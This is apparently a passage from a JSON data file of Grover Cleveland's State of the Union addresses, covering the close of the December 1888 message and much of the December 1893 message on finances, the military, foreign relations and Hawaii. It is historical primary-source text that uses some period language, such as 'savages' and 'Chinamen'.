with whom we have existing treaties of navigation and commerce, and\nhave caused wide and regrettable divergence of opinion in relation to the\nimposition of the duties referred to. These questions are important, and I\nshall make them the subject of a special and more detailed communication at\nthe present session.With the rapid increase of immigration to our shores and the facilities of\nmodern travel, abuses of the generous privileges afforded by our\nnaturalization laws call for their careful revision.The easy and unguarded manner in which certificates of American citizenship\ncan now be obtained has induced a class, unfortunately large, to avail\nthemselves of the opportunity to become absolved from allegiance to their\nnative land, and yet by a foreign residence to escape any just duty and\ncontribution of service to the country of their proposed adoption. Thus,\nwhile evading the duties of citizenship to the United States, they may make\nprompt claim for its national protection and demand its intervention in\ntheir behalf. International complications of a serious nature arise, and\nthe correspondence of the State Department discloses the great number and\ncomplexity of the questions which have been raised.Our laws regulating the issue of passports should be carefully revised, and\nthe institution of a central bureau of registration at the capital is again\nstrongly recommended. By this means full particulars of each case of\nnaturalization in the United States would be secured and properly indexed\nand recorded, and thus many cases of spurious citizenship would be detected\nand unjust responsibilities would be avoided.The reorganization of the consular service is a matter of serious\nimportance to our national interests. The number of existing principal\nconsular offices is believed to be greater than is at all necessary for the\nconduct of the public business. It need not be our policy to maintain more\nthan a moderate number of principal offices, each supported by a salary\nsufficient to enable the incumbent to live in comfort, and so distributed\nas to secure the convenient supervision, through subordinate agencies, of\naffairs over a considerable district.I repeat the recommendations heretofore made by me that the appropriations\nfor the maintenance of our diplomatic and consular service should be\nrecast; that the so-called notarial or unofficial fees, which our\nrepresentatives abroad are now permitted to treat as personal perquisites,\nshould be forbidden; that a system of consular inspection should be\ninstituted, and that a limited number of secretaries of legation at large\nshould be authorized.Preparations for the centennial celebration, on April 30, 1889, of the\ninauguration of George Washington as President of the United States, at the\ncity of New York, have been made by a voluntary organization of the\ncitizens of that locality, and believing that an opportunity should be\nafforded for the expression of the interest felt throughout the country in\nthis event, I respectfully recommend fitting and cooperative action by\nCongress on behalf of the people of the United States.The report of the Secretary of the Treasury exhibits in detail the\ncondition of our national finances and the operations of the several\nbranches of the Government related to his Department.The total ordinary revenues of the Government for the fiscal year ended\nJune 30, 1888, amounted to $379,266,074.76, of which $219,091,173.63 was\nreceived from customs duties and $124,296,871.98 from internal revenue\ntaxes.The total receipts from all sources exceeded those for the fiscal year\nended June 30, 1887, by $7,862,797.10.The ordinary expenditures of the Government for the fiscal year ending June\n30, 1888, were $259,653,958.67, leaving a surplus of $119,612,116.09.The decrease in these expenditures as compared with the fiscal year ended\nJune 30, 1887, was $8,278,221.30, notwithstanding the payment of more than\n$5,000,000 for pensions in excess of what was paid for that purpose in the\nlatter-mentioned year.The revenues of the Government for the year ending June 30, 1889,\nascertained for the quarter ended September 30, 1888, and estimated for the\nremainder of the time, amount to $377,000,000, and the actual and estimated\nordinary expenditures for the same year are $273,000,000, leaving an\nestimated surplus of $104,000,000.The estimated receipts for the year ending June 30, 1890, are $377,000,000,\nand the estimated ordinary expenditures for the same time are\n$275,767,488.34, showing a surplus of $101,232,511.66.The foregoing statements of surplus do not take into account the sum\nnecessary to be expended to meet the requirements of the sinking-fund act,\namounting to more than $47,000,000 annually.The cost of collecting the customs revenues for the last fiscal year was\n2.44 per cent; for the year 1885 it was 3.77 per cent.The excess of internal-revenue taxes collected during the last fiscal year\nover those collected for the year ended June 30, 1887, was $5,489,174.26,\nand the cost of collecting this revenue decreased from 3.4 per cent in 1887\nto less than 3.2 per cent for the last year. The tax collected on\noleomargarine was $723,948.04 for the year ending June 30, 1887, and\n$864,139.88 for the following year.The requirements of the sinking-fund act have been met for the year ended\nJune 30, 1888, and for the current year also, by the purchase of bonds.\nAfter complying with this law as positively required, and bonds sufficient\nfor that purpose had been bought at a premium, it was not deemed prudent to\nfurther expend the surplus in such purchases until the authority to do so\nshould be more explicit. A resolution, however, having been passed by both\nHouses of Congress removing all doubt as to Executive authority, daily\npurchases of bonds were commenced on the 23d day of April, 1888, and have\ncontinued until the present time. By this plan bonds of the Government not\nyet due have been purchased up to and including the 30th day of November,\n1888, amounting to $94,700,400, the premium paid thereon amounting to\n$17,508,613.08.The premium added to the principal of these bonds represents an investment\nyielding about 2 per cent interest for the time they still had to run, and\nthe saving to the Government represented by the difference between the\namount of interest at 2 per cent upon the sum paid for principal and\npremium and what it would have paid for interest at the rate specified in\nthe bonds if they had run to their maturity is about $27,165,000.At first sight this would seem to be a profitable and sensible transaction\non the part of the Government, but, as suggested by the Secretary of the\nTreasury, the surplus thus expended for the purchase of bonds was money\ndrawn from the people in excess of any actual need of the Government and\nwas so expended rather than allow it to remain idle in the Treasury. If\nthis surplus, under the operation of just and equitable laws, had been left\nin the hands of the people, it would have been worth in their business at\nleast 6 per cent per annum. Deducting from the amount of interest upon the\nprincipal and premium of these bonds for the time they had to run at the\nrate of 6 per cent the saving of 2 per cent made for the people by the\npurchase of such bonds, the loss will appear to be $55,760,000.This calculation would seem to demonstrate that if excessive and\nunnecessary taxation is continued and the Government is forced to pursue\nthis policy of purchasing its own bonds at the premiums which it will be\nnecessary to pay, the loss to the people will be hundreds of millions of\ndollars.Since the purchase of bonds was undertaken as mentioned nearly all that\nhave been offered were at last accepted. It has been made quite apparent\nthat the Government was in danger of being subjected to combinations to\nraise their price, as appears by the instance cited by the Secretary of the\noffering of bonds of the par value of only $326,000 so often that the\naggregate of the sums demanded for their purchase amounted to more than $\n19,700,000.Notwithstanding the large sums paid out in the purchase of bonds, the\nsurplus in the Treasury on the 30th day of November, 1888, was\n$52,234,610.01, after deducting about $20,000,000 just drawn out for the\npayment of pensions.At the close of the fiscal year ended June 30, 1887, there had been coined\nunder the compulsory silver-coinage act $266,988,280 in silver dollars,\n$55,504,310 of which were in the hands of the people.On the 30th day of June, 1888, there had been coined $299,708,790; and of\nthis $55,829,303 was in circulation in coin, and $200,387,376 in silver\ncertificates, for the redemption of which silver dollars to that amount\nwere held by the Government.On the 30th day of November, 1888, $312,570,990 had been coined,\n$60,970,990 of the silver dollars were actually in circulation, and\n$237,418,346 in certificates.The Secretary recommends the suspension of the further coinage of silver,\nand in such recommendation I earnestly concur.For further valuable information and timely recommendations I ask the\ncareful attention of the Congress to the Secretary's report.The Secretary of War reports that the Army at the date of the last\nconsolidated returns consisted of 2,189 officers and 24,549 enlisted men.The actual expenditures of the War Department for the fiscal year ended\nJune 30, 1888, amounted to $41,165,107.07, of which sum $9,158,516.63 was\nexpended for public works, including river and harbor improvements.\"The Board of Ordnance and Fortifications\" provided for under the act\napproved September 22 last was convened October 30, 1888, and plans and\nspecifications for procuring forgings for 8, 10, and 12 inch guns, under\nprovisions of section 4, and also for procuring 12-inch breech-loading\nmortars, cast iron, hooped with steel, under the provisions of section 5 of\nthe said act, were submitted to the Secretary of War for reference to the\nboard, by the Ordnance Department, on the same date.These plans and specifications having been promptly approved by the board\nand the Secretary of War, the necessary authority to publish advertisements\ninviting proposals in the newspapers throughout the country was granted by\nthe Secretary on November 12, and on November 13 the advertisements were\nsent out to the different newspapers designated. The bids for the steel\nforgings are to be opened on December 20, 1888, and for the mortars on\nDecember 15, 1888.A board of ordnance officers was convened at the Watervliet Arsenal on\nOctober 4, 1888, to prepare the necessary plans and specifications for the\nestablishment of an army gun factory at that point. The preliminary report\nof this board, with estimates for shop buildings and officers' quarters,\nwas approved by the Board of Ordnance and Fortifications November 6 and 8.\nThe specifications and form of advertisement and instructions to bidders\nhave been prepared, and advertisements inviting proposals for the\nexcavations for the shop building and for erecting the two sets of\nofficers' quarters have been published. The detailed drawings and\nspecifications for the gun-factory building are well in hand, and will be\nfinished within three or four months, when bids will be invited for the\nerection of the building. The list of machines, etc., is made out, and it\nis expected that the plans for the large lathes, etc., will be completed\nwithin about four months, and after approval by the Board of Ordnance and\nFortifications bids for furnishing the same will be invited. The machines\nand other fixtures will be completed as soon as the shop is in readiness to\nreceive them, probably about July, 1890.Under the provisions of the Army bill for the procurement of pneumatic\ndynamite guns, the necessary specifications are now being prepared, and\nadvertisements for proposals will issue early in December. The guns will\nprobably be of 15 inches caliber and fire a projectile that will carry a\ncharge each of about 500 pounds of explosive gelatine with full-caliber\nprojectiles. The guns will probably be delivered in from six to ten months\nfrom the date of the contract, so that all the guns of this class that can\nbe procured under the provisions of the law will be purchased during the\nyear 1889.I earnestly request that the recommendations contained in the Secretary's\nreport, all of which are, in my opinion, calculated to increase the\nusefulness and discipline of the Army, may receive the consideration of the\nCongress. Among these the proposal that there should be provided a plan for\nthe examination of officers to test their fitness for promotion is of the\nutmost importance. This reform has been before recommended in the reports\nof the Secretary, and its expediency is so fully demonstrated by the\nargument he presents in its favor that its adoption should no longer be\nneglected.The death of General Sheridan in August last was a national affliction. The\nArmy then lost the grandest of its chiefs. The country lost a brave and\nexperienced soldier, a wise and discreet counselor, and a modest and\nsensible man. Those who in any manner came within the range of his personal\nassociation will never fail to pay deserved and willing homage to his\ngreatness and the glory of his career, but they will cherish with more\ntender sensibility the loving memory of his simple, generous, and\nconsiderate nature.The Apache Indians, whose removal from their reservation in Arizona\nfollowed the capture of those of their number who engaged in a bloody\nand murderous raid during a part of the years 1885 and 1886, are now held\nas prisoners of war at Mount Vernon Barracks, in the State of Alabama. They\nnumbered on the 31st day of October, the date of the last report, 83 men,\n170 women, 70 boys, and 59 girls; in all, 382 persons. The commanding\nofficer states that they are in good health and contented, and that they\nare kept employed as fully as is possible in the circumstances. The\nchildren, as they arrive at a suitable age, are sent to the Indian schools\nat Carlisle and Hampton.Last summer some charitable and kind people asked permission to send two\nteachers to these Indians for the purpose of instructing the adults as well\nas such children as should be found there. Such permission was readily\ngranted, accommodations were provided for the teachers, and some portions\nof the buildings at the barracks were made available for school purposes.\nThe good work contemplated has been commenced, and the teachers engaged are\npaid by the ladies with whom the plan originated.I am not at all in sympathy with those benevolent but injudicious people\nwho are constantly insisting that these Indians should be returned to their\nreservation. Their removal was an absolute necessity if the lives and\nproperty of citizens upon the frontier are to be at all regarded by the\nGovernment. Their continued restraint at a distance from the scene of their\nrepeated and cruel murders and outrages is still necessary. It is a\nmistaken philanthropy, every way injurious, which prompts the desire to see\nthese savages returned to their old haunts. They are in their present\nlocation as the result of the best judgment of those having official\nresponsibility in the matter, and who are by no means lacking in kind\nconsideration for the Indians. A number of these prisoners have forfeited\ntheir lives to outraged law and humanity. Experience has proved that they\nare dangerous and can not be trusted. This is true not only of those who on\nthe warpath have heretofore actually been guilty of atrocious murder, but\nof their kindred and friends, who, while they remained upon their\nreservation, furnished aid and comfort to those absent with bloody intent.These prisoners should be treated kindly and kept in restraint far from the\nlocality of their former reservation; they should be subjected to efforts\ncalculated to lead to their improvement and the softening of their savage\nand cruel instincts, but their return to their old home should be\npersistently resisted.The Secretary in his report gives a graphic history of these Indians, and\nrecites with painful vividness their bloody deeds and the unhappy failure\nof the Government to manage them by peaceful means. It will be amazing if a\nperusal of this history will allow the survival of a desire for the return\nof these prisoners to their reservation upon sentimental or any other\ngrounds.The report of the Secretary of the Navy demonstrates very intelligent\nmanagement in that important Department, and discloses the most\nsatisfactory progress in the work of reconstructing the Navy made during\nthe past year. Of the ships in course of construction five, viz, the\nCharleston, Baltimore, Yorktown, Vesuvius, and the Petrel, have in that\ntime been launched and are rapidly approaching completion; and in addition\nto the above, the Philadelphia, the San Francisco, the Newark, the\nBennington, the Concord, and the Herreshoff torpedo boat are all under\ncontract for delivery to the Department during the next year. The progress\nalready made and being made gives good ground for the expectation that\nthese eleven vessels will be incorporated as part of the American Navy\nwithin the next twelve months.The report shows that notwithstanding the large expenditures for new\nconstruction and the additional labor they involve the total ordinary or\ncurrent expenditures of the Department for the three years ending June 30,\n1888, are less by more than 20 per cent than such expenditures for the\nthree years ending June 30, 1884.The various steps which have been taken to improve the business methods of\nthe Department are reviewed by the Secretary. The purchasing of supplies\nhas been consolidated and placed under a responsible bureau head. This has\nresulted in the curtailment of open purchases, which in the years 1884 and\n1885 amounted to over 50 per cent of all the purchases of the Department,\nto less than 11 per cent; so that at the present time about 90 per cent of\nthe total departmental purchases are made by contract and after\ncompetition. As the expenditures on this account exceed an average of\n$2,000,000 annually, it is evident that an important improvement in the\nsystem has been inaugurated and substantial economies introduced.The report of the Postmaster-General shows a marked increase of business in\nevery branch of the postal service.The number of post-offices on July 1, 1888, was 57,376, an increase of\n6,124 in three years and of 2,219 for the last fiscal year. The\nlatter-mentioned increase is classified as follows:New England States -Middle States - 181Southern States and Indian Territory (41) - 1,406The States and Territories of the Pacific Coast - 190The ten States and Territories of the West and Northwest - 435District of Columbia - 2 -", 
+    "name": "Grover Cleveland"
+}
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+{
+    "date": "December 3, 1893", 
+    "speech": "To the Congress of the United States:The constitutional duty which requires the President from time to time to give\nto the Congress information of the state of the Union and recommend to their\nconsideration such measures as he shall judge necessary and expedient is\nfittingly entered upon by commending to the Congress a careful examination of\nthe detailed statements and well-supported recommendations contained in the\nreports of the heads of Departments, who are chiefly charged with the\nexecutive work of the Government. In an effort to abridge this communication\nas much as is consistent with its purpose I shall supplement a brief reference\nto the contents of these departmental reports by the mention of such executive\nbusiness and incidents as are not embraced therein and by such recommendations\nas appear to be at this particular time appropriate.While our foreign relations have not at all times during the past year been\nentirely free from perplexity, no embarrassing situation remains that will not\nyield to the spirit of fairness and love of justice which, joined with\nconsistent firmness, characterize a truly American foreign policy.My predecessor having accepted the office of arbitrator of the long-standing\nMissions boundary dispute, tendered to the President by the Argentine Republic\nand Brazil, it has been my agreeable duty to receive the special envoys\ncommissioned by those States to lay before me evidence and arguments in behalf\nof their respective Governments.The outbreak of domestic hostilities in the Republic of Brazil found the\nUnited States alert to watch the interests of our citizens in that country,\nwith which we carry on important commerce. Several vessels of our new Navy are\nnow and for some time have been stationed at Rio de Janeiro. The struggle\nbeing between the established Government, which controls the machinery of\nadministration, and with which we maintain friendly relations, and certain\nofficers of the navy employing the vessels of their command in an attack upon\nthe national capital and chief seaport, and lacking as it does the elements of\ndivided administration, I have failed to see that the insurgents can\nreasonably claim recognition as belligerents.Thus far the position of our Government has been that of an attentive but\nimpartial observer of the unfortunate conflict. Emphasizing our fixed policy\nof impartial neutrality in such a condition of affairs as now exists, I deemed\nit necessary to disavow in a manner not to be misunderstood the unauthorized\naction of our late naval commander in those waters in saluting the revolted\nBrazilian admiral, being indisposed to countenance an act calculated to give\ngratuitous sanction to the local insurrection.The convention between our Government and Chile having for its object the\nsettlement and adjustment of the demand of the two countries against each\nother has been made effective by he organization of the claims commission\nprovided for. The two Governments failing to agree upon the third member of\nthe commission, the good offices of the President of the Swiss Republic were\ninvoked, as provided in the treaty, and the selection of the Swiss\nrepresentative in this country to complete the organization was gratifying\nalike to the United States and Chile.The vexatious question of so-called legation asylum for offenders against the\nstate and its laws was presented anew in Chile by the unauthorized action of\nthe late United States minister in receiving into his official residence two\npersons who had just failed in an attempt at revolution and against whom\ncriminal charges were pending growing out of a former abortive disturbance.\nThe doctrine of asylum as applied to this case is not sanctioned by the best\nprecedents, and when allowed tends to encourage sedition and strife. Under no\ncircumstances can the representatives of this Government be permitted, under\nthe ill-defined fiction of extraterritoriality, to interrupt the\nadministration of criminal justice in the countries to which they are\naccredited. A temperate demand having been made by the Chilean Government for\nthe correction of this conduct in the instance mentioned, the minister was\ninstructed no longer to harbor the offenders.The legislation of last year known as the Geary law, requiring the\nregistration of all Chinese laborers entitled to residence in the United\nStates and the deportation of all not complying with the provisions of the act\nwithin the time prescribed, met with much opposition from Chinamen in this\ncountry. Acting upon the advice of eminent counsel that the law was\nunconstitutional, the great mass of Chinese laborers, pending judicial inquiry\nas to its validity, in good faith declined to apply for the certificates\nrequired by its provisions. A test case upon proceeding by habeas corpus was\nbrought before the Supreme Court, and on May 15, 1893, a decision was made by\nthat tribunal sustaining the law.It is believed that under the recent amendment of the act extending the time\nfor registration the Chinese laborers thereto entitled who desire to reside in\nthis country will now avail themselves of the renewed privilege thus afforded\nof establishing by lawful procedure their right to remain, and that thereby\nthe necessity of enforced deportation may to a great degree be avoided.It has devolved upon the United States minister at Peking, as dean of the\ndiplomatic body, and in the absence of a representative of Sweden and Norway,\nto press upon the Chinese Government reparation for the recent murder of\nSwedish missionaries at Sung-pu. This question is of vital interest to all\ncountries whose citizens engage in missionary work in the interior.By Article XII of the general act of Brussels, signed July 2, 1890, for the\nsuppression of the slave trade and the restriction of certain injurious\ncommerce in the Independent State of the Kongo and in the adjacent zone of\ncentral Africa, the United States and the other signatory powers agreed to\nadopt appropriate means for the punishment of persons selling arms and\nammunition to the natives and for the confiscation of the inhibited articles.\nIt being the plain duty of this Government to aid in suppressing the nefarious\ntraffic, impairing as it does the praiseworthy and civilizing efforts now in\nprogress in that region, I recommend that an act be passed prohibiting the\nsale of arms and intoxicants to natives in the regulated zone by our citizens.Costa Rica has lately testified its friendliness by surrendering to the United\nStates, in the absence of a convention of extradition, but upon duly submitted\nevidence of criminality, a noted fugitive from justice. It is trusted that the\nnegotiation of a treaty with that country to meet recurring cases of this kind\nwill soon be accomplished. In my opinion treaties for reciprocal extradition\nshould be concluded with all those countries with which the United States has\nnot already conventional arrangements of that character.I have deemed it fitting to express to the Governments of Costa Rica and\nColombia the kindly desire of the United States to see their pending boundary\ndispute finally closed by arbitration in conformity with the spirit of the\ntreaty concluded between them some years ago.Our relations with the French Republic continue to be intimate and cordial. I\nsincerely hope that the extradition treaty with that country, as amended by\nthe Senate, will soon be operative.While occasional questions affecting our naturalized citizens returning to the\nland of their birth have arisen in our intercourse with Germany, our relations\nwith that country continue satisfactory.The questions affecting our relations with Great Britain have been treated in\na spirit of friendliness.Negotiations are in progress between the two Governments with a view to such\nconcurrent action as will make the award and regulations agreed upon by the\nBering Sea Tribunal of Arbitration practically effective, and it is not\ndoubted that Great Britain will cooperate freely with this country for the\naccomplishment of that purpose.The dispute growing out of the discriminating tolls imposed in the Welland\nCanal upon cargoes of cereals bound to and from the lake ports of the United\nStates was adjusted by the substitution of a more equitable schedule of\ncharges, and my predecessor thereupon suspended his proclamation imposing\ndiscriminating tolls upon British transit through our canals.A request for additions to the list of extraditable offenses covered by the\nexisting treaty between the two countries is under consideration.During the past year an American citizen employed in a subordinate commercial\nposition in Hayti, after suffering a protracted imprisonment on an unfounded\ncharge of smuggling, was finally liberated on judicial examination. Upon\nurgent representation to the Haytian Government a suitable indemnity was paid\nto the sufferer.By a law of Hayti a sailing vessel, having discharged her cargo, is refused\nclearance until the duties on such cargo have been paid. The hardship of this\nmeasure upon American shipowners, who conduct the bulk of the carrying trade\nof that country, has been insisted on with a view of securing the removal of\nthis cause of complaint.Upon receiving authentic information of the firing upon an American mail\nsteamer touching at the port of Amapala because her captain refused to deliver\nup a passenger in transit from Nicaragua to Guatemala upon demand of the\nmilitary authorities of Honduras, our minister to that country, under\ninstructions, protested against the wanton act and demanded satisfaction. The\nGovernment of Honduras, actuated by a sense of justice and in a spirit of the\nutmost friendship, promptly disavowed the illegal conduct of its officers and\nexpressed sincere regret for the occurrence.It is confidently anticipated that a satisfactory adjustment will soon be\nreached of the questions arising out of the seizure and use of American\nvessels by insurgents in Honduras and the subsequent denial by the successful\nGovernment of commercial privileges to those vessels on that account.A notable part of the southeasterly coast of Liberia between the Cavally and\nSan Pedro rivers, which for nearly half a century has been generally\nrecognized as belonging to that Republic by cession and purchase, has been\nclaimed to be under the protectorate of France in virtue of agreements entered\ninto by the native tribes, over whom Liberia's control has not been well\nmaintained.More recently negotiations between the Liberian representative and the French\nGovernment resulted in the signature at Paris of a treaty whereby as an\nadjustment certain Liberian territory is ceded to France. This convention at\nlast advices had not been ratified by the Liberian Legislature and Executive.Feeling a sympathetic interest in the fortunes of the little Commonwealth, the\nestablishment and development of which were largely aided by the benevolence\nof our countrymen, and which constitutes the only independently sovereign\nstate on the west coast of Africa, this Government has suggested to the French\nGovernment its earnest concern lest territorial impairment in Liberia should\ntake place without her unconstrained consent.Our relations with Mexico continue to be of that close and friendly nature\nwhich should always characterize the intercourse of two neighboring republics.The work of relocating the monuments marking the boundary between the two\ncountries from Paso del Norte to the Pacific is now nearly completed.The commission recently organized under the conventions of 1884 and 1889 it is\nexpected will speedily settle disputes growing out of the shifting currents of\nthe Rio Grande River east of E1 Paso.Nicaragua has recently passed through two revolutions, the party at first\nsuccessful having in turn been displaced by another. Our newly appointed\nminister by his timely good offices aided in a peaceful adjustment of the\ncontroversy involved in the first conflict. The large American interests\nestablished in that country in connection with the Nicaragua Canal were not\nmolested.The canal company has unfortunately become financially seriously embarrassed,\nbut a generous treatment had been extended to it by the Government of\nNicaragua. The United States are especially interested in the successful\nachievement of the vast undertaking this company has in charge. That it should\nbe accomplished under distinctively American auspices, and its enjoyment\nassured not only to the vessels of this country as a channel of communication\nbetween our Atlantic and Pacific sea-boards, but to the ships of the world in\nthe interests of civilization, is a proposition which, in my judgment, does\nnot admit of question.Guatemala has also been visited by the political vicissitudes which have\nafflicted her Central American neighbors, but the dissolution of its\nLegislature and the proclamation of a dictatorship have been unattended with\ncivil war.An extradition treaty with Norway has recently been exchanged and proclaimed.The extradition treaty with Russia signed in March, 1887, and amended and\nconfirmed by the Senate in February last, was duly proclaimed last June.Led by a desire to compose differences and contribute to the restoration of\norder in Samoa, which for some years previous had been the scene of\nconflicting foreign pretensions and native strife, the United States,\ndeparting from its policy consecrated by a century of observance, entered four\nyears ago into the treaty of Berlin, thereby becoming jointly bound with\nEngland and Germany to establish and maintain Malietoa Laupepa as King of\nSamoa. The treaty provided for a foreign court of justice; a municipal council\nfor the district of Apia, with a foreign president thereof, authorized to\nadvise the King; a tribunal for the settlement of native and foreign land\ntitles, and a revenue system for the Kingdom. It entailed upon the three\npowers that part of the cost of the new Government not met by the revenue of\nthe islands.Early in the life of this triple protectorate the native dissensions it was\ndesigned to quell revived. Rivals defied the authority of the new King,\nrefusing to pay taxes and demanding the election of a ruler by native\nsuffrage. Mataafa, an aspirant to the throne, and a large number of his native\nadherents were in open rebellion on one of the islands. Quite lately, at the\nrequest of the other powers and in fulfillment of its treaty obligation, this\nGovernment agreed to unite in a joint military movement of such dimensions as\nwould probably secure the surrender of the insurgents without bloodshed.The war ship Philadelphia was accordingly put under orders for Samoa, but\nbefore she arrived the threatened conflict was precipitated by King Malietoa's\nattack upon the insurgent camp. Mataafa was defeated and a number of his men\nkilled. The British and German naval vessels present subsequently secured the\nsurrender of Mataafa and his adherents. The defeated chief and ten of his\nprincipal supporters were deported to a German island of the Marshall group,\nwhere they are held as prisoners under the joint responsibility and cost of\nthe three powers.This incident and the events leading up to it signally illustrate the impolicy\nof entangling alliances with foreign powers.More than fifteen years ago this Government preferred a claim against Spain in\nbehalf of one of our citizens for property seized and confiscated in Cuba. In\n1886 the claim was adjusted, Spain agreeing to pay unconditionally, as a fair\nindemnity, $1,500,000. A respectful but earnest note was recently addressed to\nthe Spanish Government insisting upon prompt fulfillment of its long-neglected\nobligation.Other claims preferred by the United States against Spain in behalf of\nAmerican citizens for property confiscated in Cuba have been pending for many\nyears.At the time Spain's title to the Caroline Islands was confirmed by arbitration\nthat Government agreed that the rights which had been acquired there by\nAmerican missionaries should be recognized and respected. It is sincerely\nhoped that this pledge will be observed by allowing our missionaries, who were\nremoved from Ponape to a place of safety by a United States war ship during\nthe late troubles between the Spanish garrison and the natives, to return to\ntheir field of usefulness.The reproduced caravel Santa Maria, built by Spain and sent to the Columbian\nExposition, has been presented to the United States in token of amity and in\ncommemoration of the event it was designed to celebrate. I recommend that in\naccepting this gift Congress make grateful recognition of the sincere\nfriendship which prompted it.Important matters have demanded attention in our relations with the Ottoman\nPorte.The firing and partial destruction by an unrestrained mob of one of the school\nbuildings of Anatolia College, established by citizens of the United States at\nMarsovan, and the apparent indifference of the Turkish Government to the\noutrage, notwithstanding the complicity of some of its officials, called for\nearnest remonstrance, which was followed by promise of reparation and\npunishment of the offenders.Indemnity for the injury to the buildings has already been paid, permission to\nrebuild given, registration of the school property in the name of the American\nowners secured, and efficient protection guaranteed.Information received of maltreatment suffered by an inoffensive American woman\nengaged in missionary work in Turkish Koordistan was followed by such\nrepresentations to the Porte as resulted in the issuance of orders for the\npunishment of her assailants, the removal of a delinquent official, and the\nadoption of measures for the protection of our citizens engaged in mission and\nother lawful work in that quarter.Turkey complains that her Armenian subjects obtain citizenship in this country\nnot to identify themselves in good faith with our people, but with the\nintention of returning to the land of their birth and there engaging in\nsedition. This complaint is not wholly without foundation. A journal published\nin this country in the Armenian language openly counsels its readers to arm,\norganize, and participate in movements for the subversion of Turkish authority\nin the Asiatic provinces. The Ottoman Government has announced its intention\nto expel from its dominions Armenians who have obtained naturalization in the\nUnited States since 1868.The right to exclude any or all classes of aliens is an attribute of\nsovereignty. It is a right asserted and, to a limited extent, enforced by the\nUnited States, with the sanction of our highest court. There being no\nnaturalization treaty between the United States and Turkey, our minister at\nConstantinople has been instructed that, while recognizing the right of that\nGovernment to enforce its declared policy against naturalized Armenians, he is\nexpected to protect them from unnecessary harshness of treatment.In view of the impaired financial resources of Venezuela consequent upon the\nrecent revolution there, a modified arrangement for the satisfaction of the\nawards of the late revisory claims commission, in progressive installments,\nhas been assented to, and payments are being regularly made thereunder.The boundary dispute between Venezuela and British Guiana is yet unadjusted. A\nrestoration of diplomatic intercourse between that Republic and Great Britain\nand reference of the question to impartial arbitration would be a most\ngratifying consummation.The ratification by Venezuela of the convention for the arbitration of the\nlong-deferred claim of the Venezuelan Transportation Company is awaited.It is hardly necessary for me to state that the questions arising from our\nrelations with Hawaii have caused serious embarrassment. Just prior to the\ninstallation of the present Administration the existing Government of Hawaii\nhad been suddenly overthrown and a treaty of annexation had been negotiated\nbetween the Provisional Government of the islands and the United States and\nsubmitted to the Senate for ratification. This treaty I withdrew for\nexamination and dispatched Hon. James H. Blount, of Georgia, to Honolulu as a\nspecial commissioner to make an impartial investigation of the circumstances\nattending the change of government and of all the conditions bearing upon the\nsubject of the treaty. After a thorough and exhaustive examination Mr. Blount\nsubmitted to me his report, showing beyond all question that the\nconstitutional Government of Hawaii had been subverted with the active aid of\nour representative to that Government and through the intimidation caused by\nthe presence of an armed naval force of the United States, which was landed\nfor that purpose at the instance of our minister. Upon the facts developed it\nseemed to me the only honorable course for our Government to pursue was to\nundo the wrong that had been done by those representing us and to restore as\nfar as practicable the status existing at the time of our forcible\nintervention. With a view of accomplishing this result within the\nconstitutional limits of executive power, and recognizing all our obligations\nand responsibilities growing out of any changed conditions brought about by\nour unjustifiable interference, our present minister at Honolulu has received\nappropriate instructions to that end. Thus far no information of the\naccomplishment of any definite results has been received from him.Additional advices are soon expected. When received they will be promptly sent\nto the Congress, together with all other information at hand, accompanied by a\nspecial Executive message fully detailing all the facts necessary to a\ncomplete understanding of the case and presenting a history of all the\nmaterial events leading up to the present situation.By a concurrent resolution passed by the Senate February 14, 1890, and by the\nHouse of Representatives on the 3d of April following the President was\nrequested to \"invite from time to time, as fit occasions may arise,\nnegotiations with any government with which the United States has or may have\ndiplomatic relations, to the end that any differences or disputes arising\nbetween the two governments which can not be adjusted by diplomatic agency may\nbe referred to arbitration and be peaceably adjusted by such means.\" April 18,\n1890, the International American Conference of Washington by resolution\nexpressed the wish that all controversies between the republics of America and\nthe nations of Europe might be settled by arbitration, and recommended that\nthe government of each nation represented in that conference should\ncommunicate this wish to all friendly powers. A favorable response has been\nreceived from Great Britain in the shape of a resolution adopted by Parliament\nJuly 16 last, cordially sympathizing with the purpose in view and expressing\nthe hope that Her Majesty's Government will lend ready cooperation to the\nGovernment of the United States upon the basis of the concurrent resolution\nabove quoted.It affords me signal pleasure to lay this parliamentary resolution before the\nCongress and to express my sincere gratification that the sentiment of two\ngreat and kindred nations is thus authoritatively manifested in favor of the\nrational and peaceable settlement of international quarrels by honorable\nresort to arbitration.Since the-passage of the act of March 3, 1893, authorizing the President to\nraise the grade of our envoys to correspond with the rank in which foreign\ncountries accredit their agents here, Great Britain, France, Italy, and\nGermany have conferred upon their representatives at this capital the title of\nambassador, and I have responded by accrediting the agents of the United\nStates in those countries with the same title. A like elevation of mission is\nannounced by Russia, and when made will be similarly met. This step fittingly\ncomports with the position the United States hold in the family of nations.During my former Administration I took occasion to recommend a recast of the\nlaws relating to the consular service, in order that it might become a more\nefficient agency in the promotion of the interests it was intended to\nsubserve. The duties and powers of consuls have been expanded with the growing\nrequirements of our foreign trade. Discharging important duties affecting our\ncommerce and American citizens abroad, and in certain countries exercising\njudicial functions, these officers should be men of character, intelligence,\nand ability.Upon proof that the legislation of Denmark secures copyright to American\ncitizens on equal footing with its own, the privileges of our copyright laws\nhave been extended by proclamation to subjects of that country.The Secretary of the Treasury reports that the receipts of the Government from\nall sources during the fiscal year ended June 30, 1893, amounted to\n$461,716,561.94 and its expenditures to $459,374,674.29. There was collected\nfrom customs $205,355,016.73 and from internal revenue $161,027,623.93. Our\ndutiable imports amounted to $421,856,711, an increase of $52,453,907 over the\npreceding year, and importations free of duty amounted to $444,544,211, a\ndecrease from the preceding year of $13,455,447. Internal-revenue receipts\nexceeded those of the preceding year by $7,147,445.32. The total tax collected\non distilled spirits was $94,720,260.55, on manufactured tobacco\n$31,889,711.74, and on fermented liquors $32,548,983.07. We exported\nmerchandise during the year amounting to $847,665,194, a decrease of\n$182,612,954 from the preceding year. The amount of gold exported was larger\nthan any previous year in the history of the Government, amounting to\n$108,680,844, and exceeding the amount exported during the preceding year\nby$58,485,517.The sum paid from the Treasury for sugar bounty was $9,375,130.88, an increase\nover the preceding year of $2,033,053.09.It is estimated upon the basis of present revenue laws that the receipts of\nthe Government for the year ending June 30, 1894, will be $430,121,365.38 and\nits expenditures $458,121,365.28, resulting in a deficiency of $28,000,000.On the 1st day of November, 1893, the amount of money of all kinds in\ncirculation, or not included in Treasury holdings, was $1,718,544,682, an\nincrease for the year of $112,404,947. Estimating our population at 67,426,000\nat the time mentioned, the per capita circulation was $25.49. On the same date\nthere was in the Treasury gold bullion amounting to $96,657,273 and 